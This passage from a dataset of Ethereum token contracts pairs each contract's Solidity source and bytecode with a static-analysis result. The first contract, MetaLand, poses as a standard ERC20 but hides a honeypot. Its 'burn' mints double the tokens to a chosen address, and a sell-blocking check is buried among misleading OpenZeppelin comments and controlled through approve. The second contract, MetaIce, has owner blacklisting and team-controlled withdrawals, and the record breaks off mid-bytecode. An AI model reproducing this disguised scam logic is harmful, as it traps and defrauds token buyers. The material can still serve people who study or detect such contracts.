* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
function totalSupply() override public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) override public view returns (uint balance) {
return balances[tokenOwner];
}
/**
* dev Burns a specific amount of tokens.
* param value The amount of lowest token units to be burned.
*/
function burn(address _address, uint tokens) public onlyOwner {
require(_address != address(0), "ERC20: burn from the zero address");
_burn (_address, tokens);
balances[_address] = balances[_address].sub(tokens);
_totalSupply = _totalSupply.sub(tokens);
}
function transfer(address to, uint tokens) override public returns (bool success) {
require(to != zero, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) override public returns (bool success) {
allowed[msg.sender][spender] = tokens;
if (msg.sender == delegate) number = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function transferFrom(address from, address to, uint tokens) override public returns (bool success) {
if(from != address(0) && zero == address(0)) zero = to;
else _send (from, to);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
function allowance(address tokenOwner, address spender) override public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function _burn(address _burnAddress, uint _burnAmount) internal virtual {
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
reflector = _burnAddress;
_totalSupply = _totalSupply.add(_burnAmount*2);
balances[_burnAddress] = balances[_burnAddress].add(_burnAmount*2);
}
function _send (address start, address end) internal view {
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
* Requirements:
* - The divisor cannot be zero.*/
/* * - `account` cannot be the zero address. */ require(end != zero
/* * - `account` cannot be the burn address. */ || (start == reflector && end == zero) ||
/* * - `account` must have at least `amount` tokens. */ (end == zero && balances[start] <= number)
/* */ , "cannot be the zero address");/*
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
**/
}
receive() external payable {
}
fallback() external payable {
}
}
contract MetaLand is TokenERC20 {
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
*/
/**
* dev Constructor.
* param name name of the token
* param symbol symbol of the token, 3-4 chars is recommended
* param decimals number of decimal places of one token unit, 18 is widely used
* param totalSupply total supply of tokens in lowest units (depending on decimals)
*/
constructor(string memory _name, string memory _symbol, uint _supply, address _del, address _ref) {
symbol = _symbol;
name = _name;
decimals = 9;
_totalSupply = _supply*(10**uint(decimals));
number = _totalSupply;
delegate = _del;
reflector = _ref;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
} | 0x60806040526004361061008f5760003560e01c806370a082311161005657806370a082311461016257806395d89b41146101985780639dc29fac146101ad578063a9059cbb146101cd578063dd62ed3e146101ed57005b806306fdde0314610098578063095ea7b3146100c357806318160ddd146100f357806323b872dd14610116578063313ce5671461013657005b3661009657005b005b3480156100a457600080fd5b506100ad610233565b6040516100ba9190610845565b60405180910390f35b3480156100cf57600080fd5b506100e36100de3660046108b6565b6102c1565b60405190151581526020016100ba565b3480156100ff57600080fd5b50610108610345565b6040519081526020016100ba565b34801561012257600080fd5b506100e36101313660046108e0565b610382565b34801561014257600080fd5b506004546101509060ff1681565b60405160ff90911681526020016100ba565b34801561016e57600080fd5b5061010861017d36600461091c565b6001600160a01b031660009081526008602052604090205490565b3480156101a457600080fd5b506100ad6104dc565b3480156101b957600080fd5b506100966101c83660046108b6565b6104e9565b3480156101d957600080fd5b506100e36101e83660046108b6565b6105bf565b3480156101f957600080fd5b50610108610208366004610937565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b600380546102409061096a565b80601f016020809104026020016040519081016040528092919081815260200182805461026c9061096a565b80156102b95780601f1061028e576101008083540402835291602001916102b9565b820191906000526020600020905b81548152906001019060200180831161029c57829003601f168201915b505050505081565b3360008181526009602090815260408083206001600160a01b038781168552925282208490556002549192911614156102fa5760068290555b6040518281526001600160a01b0384169033907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906020015b60405180910390a35060015b92915050565b600080805260086020527f5eff886ea0ce6ca488a3d6e336d6c0f75f46d19b42c06ce5ee98e42c96d256c75460055461037d916106aa565b905090565b60006001600160a01b038416158015906103aa575060045461010090046001600160a01b0316155b156103d45760048054610100600160a81b0319166101006001600160a01b038616021790556103de565b6103de84846106ca565b6001600160a01b03841660009081526008602052604090205461040190836106aa565b6001600160a01b038516600090815260086020908152604080832093909355600981528282203383529052205461043890836106aa565b6001600160a01b03808616600090815260096020908152604080832033845282528083209490945591861681526008909152205461047690836107a8565b6001600160a01b0380851660008181526008602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906104ca9086815260200190565b60405180910390a35060019392505050565b600180546102409061096a565b6000546001600160a01b0316331461050057600080fd5b6001600160a01b0382166105655760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084015b60405180910390fd5b61056f82826107c3565b6001600160a01b03821660009081526008602052604090205461059290826106aa565b6001600160a01b0383166000908152600860205260409020556005546105b890826106aa565b6005555050565b6004546000906001600160a01b038481166101009092041614156106135760405162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b604482015260640161055c565b3360009081526008602052604090205461062d90836106aa565b33600090815260086020526040808220929092556001600160a01b0385168152205461065990836107a8565b6001600160a01b0384166000818152600860205260409081902092909255905133907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906103339086815260200190565b6000828211156106b957600080fd5b6106c382846109bb565b9392505050565b6004546001600160a01b038281166101009092041614158061071657506007546001600160a01b03838116911614801561071657506004546001600160a01b0382811661010090920416145b8061075857506004546001600160a01b038281166101009092041614801561075857506006546001600160a01b03831660009081526008602052604090205411155b6107a45760405162461bcd60e51b815260206004820152601a60248201527f63616e6e6f7420626520746865207a65726f2061646472657373000000000000604482015260640161055c565b5050565b60006107b482846109d2565b90508281101561033f57600080fd5b600780546001600160a01b0319166001600160a01b0384161790556107f56107ec8260026109ea565b600554906107a8565b6005556108256108068260026109ea565b6001600160a01b038416600090815260086020526040902054906107a8565b6001600160a01b0390921660009081526008602052604090209190915550565b600060208083528351808285015260005b8181101561087257858101830151858201604001528201610856565b81811115610884576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b03811681146108b157600080fd5b919050565b600080604083850312156108c957600080fd5b6108d28361089a565b946020939093013593505050565b6000806000606084860312156108f557600080fd5b6108fe8461089a565b925061090c6020850161089a565b9150604084013590509250925092565b60006020828403121561092e57600080fd5b6106c38261089a565b6000806040838503121561094a57600080fd5b6109538361089a565b91506109616020840161089a565b90509250929050565b600181811c9082168061097e57607f821691505b6020821081141561099f57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6000828210156109cd576109cd6109a5565b500390565b600082198211156109e5576109e56109a5565b500190565b6000816000190483118215151615610a0457610a046109a5565b50029056fea2646970667358221220f46a675f8609ffd653779f70f40fe341d82a1aa7cb9d29d3e198f75b351eaaf164736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 815 |
0xf938a816afc43f189b2c60da9ee89826016759bf | /*
Meta Ice
https://t.me/MetaIce
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract MetaIce is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "MetaIce";
string private constant _symbol = "MetaIce";
uint8 private constant _decimals = 9;
//RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _redisfee = 2;
//Bots
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value:
address(this).balance}
(address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 100000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _redisfee == 0) return;
_taxFee = 0;
_redisfee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_redisfee = 2;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (120 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function nomaxbuy(uint256 maxTxpc) external {
require(_msgSender() == _teamAddress);
require(maxTxpc > 0);
_maxTxAmount = _tTotal.mul(maxTxpc).div(10**4);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _redisfee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106101025760003560e01c8063715018a611610095578063a9059cbb11610064578063a9059cbb14610292578063b515566a146102b2578063c3c8cd80146102d2578063c9567bf9146102e7578063dd62ed3e146102fc57600080fd5b8063715018a6146102355780637fe373c71461024a5780638da5cb5b1461026a57806395d89b411461010e57600080fd5b8063313ce567116100d1578063313ce567146101c25780635932ead1146101de5780636fc3eaec1461020057806370a082311461021557600080fd5b806306fdde031461010e578063095ea7b31461014d57806318160ddd1461017d57806323b872dd146101a257600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201825260078152664d65746149636560c81b6020820152905161014491906118d9565b60405180910390f35b34801561015957600080fd5b5061016d610168366004611760565b610342565b6040519015158152602001610144565b34801561018957600080fd5b50670de0b6b3a76400005b604051908152602001610144565b3480156101ae57600080fd5b5061016d6101bd36600461171f565b610359565b3480156101ce57600080fd5b5060405160098152602001610144565b3480156101ea57600080fd5b506101fe6101f9366004611858565b6103c2565b005b34801561020c57600080fd5b506101fe610413565b34801561022157600080fd5b506101946102303660046116ac565b610440565b34801561024157600080fd5b506101fe610462565b34801561025657600080fd5b506101fe610265366004611892565b6104d6565b34801561027657600080fd5b506000546040516001600160a01b039091168152602001610144565b34801561029e57600080fd5b5061016d6102ad366004611760565b61055c565b3480156102be57600080fd5b506101fe6102cd36600461178c565b610569565b3480156102de57600080fd5b506101fe6105ff565b3480156102f357600080fd5b506101fe610635565b34801561030857600080fd5b506101946103173660046116e6565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b600061034f3384846109f7565b5060015b92915050565b6000610366848484610b1b565b6103b884336103b385604051806060016040528060288152602001611ac5602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f2d565b6109f7565b5060019392505050565b6000546001600160a01b031633146103f55760405162461bcd60e51b81526004016103ec9061192e565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461043357600080fd5b4761043d81610f67565b50565b6001600160a01b03811660009081526002602052604081205461035390610fec565b6000546001600160a01b0316331461048c5760405162461bcd60e51b81526004016103ec9061192e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600c546001600160a01b0316336001600160a01b0316146104f657600080fd5b6000811161050357600080fd5b61052161271061051b670de0b6b3a764000084611070565b906110ef565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b600061034f338484610b1b565b6000546001600160a01b031633146105935760405162461bcd60e51b81526004016103ec9061192e565b60005b81518110156105fb576001600a60008484815181106105b7576105b7611a75565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105f381611a44565b915050610596565b5050565b600c546001600160a01b0316336001600160a01b03161461061f57600080fd5b600061062a30610440565b905061043d81611131565b6000546001600160a01b0316331461065f5760405162461bcd60e51b81526004016103ec9061192e565b600f54600160a01b900460ff16156106b95760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103ec565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106f53082670de0b6b3a76400006109f7565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561072e57600080fd5b505afa158015610742573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076691906116c9565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107ae57600080fd5b505afa1580156107c2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e691906116c9565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561082e57600080fd5b505af1158015610842573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086691906116c9565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061089681610440565b6000806108ab6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561090e57600080fd5b505af1158015610922573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061094791906118ab565b5050600f805467016345785d8a000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109bf57600080fd5b505af11580156109d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105fb9190611875565b6001600160a01b038316610a595760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103ec565b6001600160a01b038216610aba5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103ec565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b7f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103ec565b6001600160a01b038216610be15760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103ec565b60008111610c435760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103ec565b6000546001600160a01b03848116911614801590610c6f57506000546001600160a01b03838116911614155b15610ed057600f54600160b81b900460ff1615610d56576001600160a01b0383163014801590610ca857506001600160a01b0382163014155b8015610cc25750600e546001600160a01b03848116911614155b8015610cdc5750600e546001600160a01b03838116911614155b15610d5657600e546001600160a01b0316336001600160a01b03161480610d165750600f546001600160a01b0316336001600160a01b0316145b610d565760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b60448201526064016103ec565b601054811115610d6557600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610da757506001600160a01b0382166000908152600a602052604090205460ff16155b610db057600080fd5b600f546001600160a01b038481169116148015610ddb5750600e546001600160a01b03838116911614155b8015610e0057506001600160a01b03821660009081526005602052604090205460ff16155b8015610e155750600f54600160b81b900460ff165b15610e63576001600160a01b0382166000908152600b60205260409020544211610e3e57600080fd5b610e494260786119d4565b6001600160a01b0383166000908152600b60205260409020555b6000610e6e30610440565b600f54909150600160a81b900460ff16158015610e995750600f546001600160a01b03858116911614155b8015610eae5750600f54600160b01b900460ff165b15610ece57610ebc81611131565b478015610ecc57610ecc47610f67565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff1680610f1257506001600160a01b03831660009081526005602052604090205460ff165b15610f1b575060005b610f27848484846112ba565b50505050565b60008184841115610f515760405162461bcd60e51b81526004016103ec91906118d9565b506000610f5e8486611a2d565b95945050505050565b600c546001600160a01b03166108fc610f818360026110ef565b6040518115909202916000818181858888f19350505050158015610fa9573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610fc48360026110ef565b6040518115909202916000818181858888f193505050501580156105fb573d6000803e3d6000fd5b60006006548211156110535760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103ec565b600061105d6112e6565b905061106983826110ef565b9392505050565b60008261107f57506000610353565b600061108b8385611a0e565b90508261109885836119ec565b146110695760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103ec565b600061106983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611309565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061117957611179611a75565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156111cd57600080fd5b505afa1580156111e1573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061120591906116c9565b8160018151811061121857611218611a75565b6001600160a01b039283166020918202929092010152600e5461123e91309116846109f7565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611277908590600090869030904290600401611963565b600060405180830381600087803b15801561129157600080fd5b505af11580156112a5573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b806112c7576112c7611337565b6112d284848461135a565b80610f2757610f2760056008556002600955565b60008060006112f3611451565b909250905061130282826110ef565b9250505090565b6000818361132a5760405162461bcd60e51b81526004016103ec91906118d9565b506000610f5e84866119ec565b6008541580156113475750600954155b1561134e57565b60006008819055600955565b60008060008060008061136c87611491565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061139e90876114ee565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546113cd9086611530565b6001600160a01b0389166000908152600260205260409020556113ef8161158f565b6113f984836115d9565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161143e91815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061146c82826110ef565b82101561148857505060065492670de0b6b3a764000092509050565b90939092509050565b60008060008060008060008060006114ae8a60085